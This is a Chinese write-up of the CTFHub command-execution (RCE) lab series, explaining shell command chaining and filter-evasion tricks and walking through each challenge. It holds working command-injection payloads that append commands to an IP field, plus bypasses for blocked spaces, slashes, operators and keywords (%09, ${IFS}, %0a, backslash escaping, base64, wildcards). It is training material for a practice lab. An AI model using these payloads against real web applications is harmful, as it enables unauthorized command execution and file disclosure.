CTFHUB RCE作业

题目地址:CTFHub

完成情况如图:

知识点:

  • preg_match_all 函数
    • 正则匹配函数
    • int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。$pattern: 要搜索的模式,字符串形式。$subject: 输入字符串。$matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。$flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):1.PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。2.PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。3.PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。

    • 四个参数(参数1和参数2是必要参数,参数3和参数4为附加参数)
      • 参数1:匹配规则
      • 参数2:需要匹配的字符串
      • 参数3:存储匹配信息的变量
      • 参数4:设定参数3结果的排序形式
    • 返回完整匹配次数;可以为0;失败返回false
       
  • 命令连接符
    • |
      • 只打印后面的命令内容,管道符:前面输出作为后面输入
      • windows linux 通用
    • ||
      • windows linux 通用
      • 有真即为真,前面为真后面不执行,前面为假后面执行
    • &
      • windows linux 通用
      • 前后两条命令都执行
    • &&
      • windows linux 通用
      • 有假即为假;前面为真则后面执行,前面为假,则后面不执行
      • linux专有
      • 表示命令的结束
  • cat 被过滤了
    • 替换方法如下
    • more:一页一页的显示档案内容
      less:与 more 类似
      head:查看头几行
      tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
      tail:查看尾几行
      nl:显示的时候,顺便输出行号
      od:以二进制的方式读取档案内容
      vi:一种编辑器,这个也可以查看
      vim:一种编辑器,这个也可以查看
      sort:可以查看
      uniq:可以查看
      file -f:报错出具体内容
      sh /flag 2>%261 //报错出文件内容
  • 空格被过滤了
    • %09(url传递)(cat%09flag.php)
      ${IFS}
      $IFS$9
      <>(cat<>/flag)
      <(cat</flag)
      {cat,flag}
  • 目录分隔符被过滤了
    • 利用命令衔接性绕过,多管道命令
      • cat 1/2 === cd 1;cat 2;
    • 反引号绕过
      • cat `ls`
      • 反引号会执行ls命令,cat读取ls执行后的所有文件内容
  • 运算符过滤了(& |)
    • ;     分号
    • %0a     换行
    • %0d     回车
  • 关键字被过滤了 cat flag ctfhub等
    • 转义符号
      • \ :ca\t fl\ag  \符号在解析过程中会直接当成转义符号处理,直接省略了
        '':cat fla''g  闭合的单引号相当于空字符
    • 拼接法
      • a=fl;b=ag;cat$IFS$a$b
    • 空变量绕过
      • $* $@ $x ${x}
      • ca$*t flag
        ca$@t flag
        ca$7t flag
        ca${7}t flag
    • 编码绕过
      • cat 的base64编码为:Y2F0Cg== 或 Y2F0
        即 echo 'cat' |base64同理可以逆过程:
        echo 'Y2F0Cg=='|base64 -d
        实际执行需要用到反引号:
        `echo 'Y2F0Cg=='|base64 -d` flag文件

      • 8进制
      • 16进制
    • 正则绕过
      • ?:匹配一个字符
      • *  :匹配多个字符
      • cat ?la*    ---->可以读取flag文件

下面写一下命令执行分支的通关笔记

命令注入

开启环境进入界面发现是一个ip输入界面

这里可以看到源码,发现用到了exec()函数,对输入没有进行任何过滤

结果被执行后又输入到了前端界面上

构造payload:127.0.0.1|ls

成功回显出了当前目录下的文件

发现了一个可疑的文件:18114228857270.php

查看一下该文件信息

构造payload:127.0.0.1|cat 18114228857270.php

发现返回值为空,这就奇怪了,怎么可能啥也没有呢???

F12查看源码才发现是一段被注释的php代码,刚好是flag,复制flag即通关了

针对这种为空的情况可以使用编码读取,这样可以完整读取文件内容

构造payload:127.0.0.1|cat 18114228857270.php|base64

这样回显时base64编码的内容,到时候再解码一下也可以

过滤cat

进入界面,查看源码发现对cat继续了过滤

查看当前目录下的文件

构造payload:127.0.0.1|ls

发现了敏感文件:flag_127461393303.php

使用cat查看一下该文件内容

构造payload:127.0.0.1|cat flag_127461393303.php

输出结果为cat,说明确实对cat进行了过滤

cat虽然被过滤了,但是可以利用其他命令来代替

tac、head、tail等都可以进行读取

构造payload:127.0.0.1|head flag_127461393303.php

注意:head tail 默认只能读取10行,不过在这里就够用了,tac相当于倒序读取文件内容并倒序输出;这里用哪个都行

源码中找到flag,复制该元素然后粘贴一下就能取出注释的信息了

过滤空格

开始环境,进入界面,查看源码发现对空格进行了过滤

查看当前目录下的文件信息

构造payload:127.0.0.1|ls

发现了敏感文件:flag_125841720517495.php

查看该文件的内容

构造payload:127.0.0.1|cat%09flag_125841720517495.php

注意:%09是在url框中修改的,而不是直接在输入框中输入,因为这是url编码,如果在ip输入框中输入会进行二次url编码,%09为tab键的url编码,无法直接输入

过滤目录分隔符

进入环境查看源码发现 / 符号被过滤了

查看当前目录下的文件

构造payload:127.0.0.1|ls

发现出了一个目录 flag_is_here

接着查看该目录下的文件信息

构造payload:127.0.0.1|ls flag_is_here

找到了flag文件:flag_8317178653643.php

既然目录分隔符已经被过滤了,那么只能按顺序执行命令读取了

首先到flag_is_here文件目录下,然后读取flag_8317178653643.php文件内容

构造payload:127.0.0.1;cd flag_is_here;cat flag_8317178653643.php;

成功读取到了flag文件的内容

过滤运算符

进入环境,发现源码中对& | 符号进行了过滤

查看当前目录下的文件信息

构造payload:127.0.0.1;ls

发现了敏感文件:flag_1140880316259.php

这里使用%0a也可以实现命令结束的效果,但是得在url导航栏中进行操作

构造payload:ip=127.0.0.1%0als

接下来查看敏感文件的内容

构造payload:127.0.0.1;cat flag_1140880316259.php

成功得到了flag

综合过滤练习

进入环境,发现源码中对& | 空格 / cat flag ctfhub进行了过滤

对命令连接符都进行了过滤,但是可以使用回车换行进行操作,这里需要在url地址栏进行操作

读取当前目录下的文件信息

构造payload:127.0.0.1%0als

获取到了一个目录文件:flag_is_here

读取该目录下的文件信息

构造payload:ip=127.0.0.1%0als%09fla\g_is_here#

成功获取到了敏感文件:flag_210412363721473.php

接下来开始读取文件内容

构造payload:ip=127.0.0.1%0acd%09fl\ag_is_here%0atac%09fla\g_210412363721473.php#

成功读取到了flag

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/825121.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Python小游戏】植物大战僵尸的实现与源码分享

文章目录 Python版植物大战僵尸环境要求方法源码分享初始化页面&#xff08;部分&#xff09;地图搭建&#xff08;部分&#xff09;定义植物类 &#xff08;部分&#xff09;定义僵尸类&#xff08;部分&#xff09;游戏运行入口 游戏源码获取 Python版植物大战僵尸 已有的植…

【Proteus】51单片机对直流电机的控制

直流电机&#xff1a;输出或输入为直流电能的旋转电机。能实现直流电能和机械能互相转换的电机。把它作电动机运行时是直流电动机&#xff0c;电能转换为机械能&#xff1b;作发电机运行时是直流发电机&#xff0c;机 械能转换为电能。 直流电机的控制&#xff1a; 1、方向控制…

动态多目标测试函数DF1-DF14,FDA1-FDA5,SDP1-SDP12的TurePOF(MATLAB代码)

动态多目标测试函数FDA1、FDA2、FDA3、FDA4、FDA5的turePOF&#xff08;MATLAB代码&#xff09; 动态多目标测试函数DF1-DF14的turePOF变化&#xff08;提供MATLAB代码&#xff09; 动态多目标测试函数SDP1-SDP12的TurePOF变化视频&#xff08;含MATLAB代码及参考文献&#xff…

Java Swing制作大鱼吃小鱼魔改版本

《大鱼吃小鱼》这款游戏的历史渊源可以追溯到休闲游戏的兴起和发展。在游戏的早期发展阶段&#xff0c;开发者们开始探索各种简单而有趣的游戏玩法&#xff0c;以吸引玩家的注意力。在这样的背景下&#xff0c;《大鱼吃小鱼》应运而生&#xff0c;它结合了自然界的食物链原理与…

AI大模型之idea通义灵码智能AI插件安装方式

问题描述 主要讲述如何进行开发工具 idea中如何进行通义灵码的插件的安装解决方案 直接在idea的plugin市场中安装 下载插件之后进行安装 见资源

lua 光速入门

文章目录 安装注释字符串变量逻辑运算条件判断循环函数Table (表)常用全局函数模块化 首先明确 lua 和 js Python一样是动态解释性语言&#xff0c;需要解释器执行。并且不同于 Python 的强类型与 js 的弱类型&#xff0c;它有点居中&#xff0c;倾向于强类型。 安装 下载解释…

【OpenHarmony】TDD-FUZZ环境配置

零、参考 1、AttributeError: ‘ElementTree‘ object has no attribute ‘getiterator‘&#xff1a;https://blog.csdn.net/suhao0911/article/details/110950742 一、创建工作目录 1、新建工作目录如&#xff1a;D:\0000_TDD_FUZZ\0000_ohos_tdd_fuzz。 2、gitee上下载 t…

陇剑杯 ios 流量分析 CTF writeup

陇剑杯 ios 流量分析 链接&#xff1a;https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwdhaek 提取码&#xff1a;haek目录结构 LearnCTF ├───LogAnalize │ ├───linux简单日志分析 │ │ linux-log_2.zip │ │ │ ├───misc日志分析 │ │…

html+vue编写分页功能

效果&#xff1a; html关键代码&#xff1a; <div class"ui-jqgrid-resize-mark" id"rs_mlist_table_C87E35BE"> </div><div class"list_component_pager ui-jqgrid-pager undefined" dir"ltr"><div id"pg…

Linux编辑器-vim的使用

vim的基本概念 vim的三种模式(其实有好多模式&#xff0c;目前掌握这3种即可),分别是命令模式&#xff08;command mode&#xff09;、插 入模式&#xff08;Insert mode&#xff09;和底行模式&#xff08;last line mode&#xff09;&#xff0c;各模式的功能区分如下&#…

中医优势病种诊疗方案数据库

中医诊疗方案结合了几千年的实践经验与理论体系&#xff0c;形成了一套独特的诊疗方法。随着国家对中医药事业的重视&#xff0c;多个中医诊疗方案被国家卫生健康委员会和国家中医药管理局等权威机构正式发布&#xff0c;这对规范中医临床诊疗行为&#xff0c;提升医疗服务质量…

执行npm命令一直出现sill idealTree buildDeps怎么办?

一、问题 今天在运行npm时候一直出项sill idealTree buildDeps问题 二、 解决 1、先删除用户界面下的npmrc文件&#xff08;注意一定是用户C:\Users\{账户}\下的.npmrc文件下不是nodejs里面&#xff09;&#xff0c;进入到对应目录下&#xff0c;Mac启动显示隐藏文件操作&…

生产服务器变卡怎么排查

服务器变卡怎么排查&#xff0c;可以从以下四个方面去考虑 生产服务器变卡怎么排查 1、网络2、cpu的利用率3、io效率4、内存瓶颈 1、网络 可以使用netstat、iftop等工具查看网络流量和网络连接情况&#xff0c;检查是否网络堵塞、丢包等问题 2、cpu的利用率 1、用top命令定…

驱动执行篇之电机编码器:编码器基础与双编码器方案

目录 |1.编码器概述 |2.编码器分类 |2.1.增量式编码器和绝对值编码器 |2.2.光电编码器 |3.双编码器方案 |3.1几种扭矩感知方案 |3.3双编码器安装方式 |1.编码器概述 编码器 编码器&#xff0c;是将信号&#xff08;如比特流&#xff09;或数据进行编制、转换为可用以通讯…

ECA-Net:深度卷积神经网络中的高效通道注意力机制【原理讲解及代码!!!】

ECA-Net&#xff1a;深度卷积神经网络中的高效通道注意力机制 在深度学习领域&#xff0c;特别是在深度卷积神经网络&#xff08;DCNN&#xff09;中&#xff0c;注意力机制已经成为提升模型性能的关键技术之一。其中&#xff0c;ECA模块&#xff08;Efficient Channel Attent…

前端项目的导入和启动

安装依赖 前端安装依赖只需要在控制台执行“npm i”即可。Tips&#xff1a;当我们执行的时候&#xff0c;有时候会很慢。可以考虑使用yarn或者pnpm。然而使用yarn或者pnpm有时候有一些莫名其妙的问题。所以还是得使用npm&#xff0c; 这个时候可以通过更换镜像源为淘宝镜像源。…

flex上下固定中间占固定高度(中间左右菜单)且内容自动滚动

效果图 布局&#xff1a; <view class"pop_tSet"><view class"pop_Con"><view class"box_bb"><view class"bb_title">{{titleObj[popType]}}</view></view><view class"box_bb_bot"…

The Sandbox 推出全新后室模板!

我们非常高兴地向你介绍游戏制作器的另一个新成员&#xff1a; 后室模板&#xff01; 步入神秘而不自然的空旷空间&#xff0c;感觉有些......不对劲。准备好探索、创造和拥抱引人入胜的后室世界吧。 什么是后室&#xff08;Backroom&#xff09;游戏&#xff1f; 早在 2019 年…

获取公募基金持仓【数据分析系列博文】

摘要 从指定网址获取公募基金持仓数据&#xff0c;快速解析并存储数据。 &#xff08;该博文针对自由学习者获取数据&#xff1b;而在投顾、基金、证券等公司&#xff0c;通常有Wind、聚源、通联等厂商采购的数据&#xff09; 1. 导入必要的库&#xff1a; pandas 用于数据处理…

Java中类装载的执行过程

类装载的执行过程 类从加载到虚拟机中开始&#xff0c;直到卸载为止&#xff0c;它的整个生命周期包括了&#xff1a;加载、验证、准备、解析、初始化、使用和卸载这7个阶段。其中&#xff0c;验证、准备和解析这三个部分统称为连接&#xff08;linking&#xff09;。 1.加载 …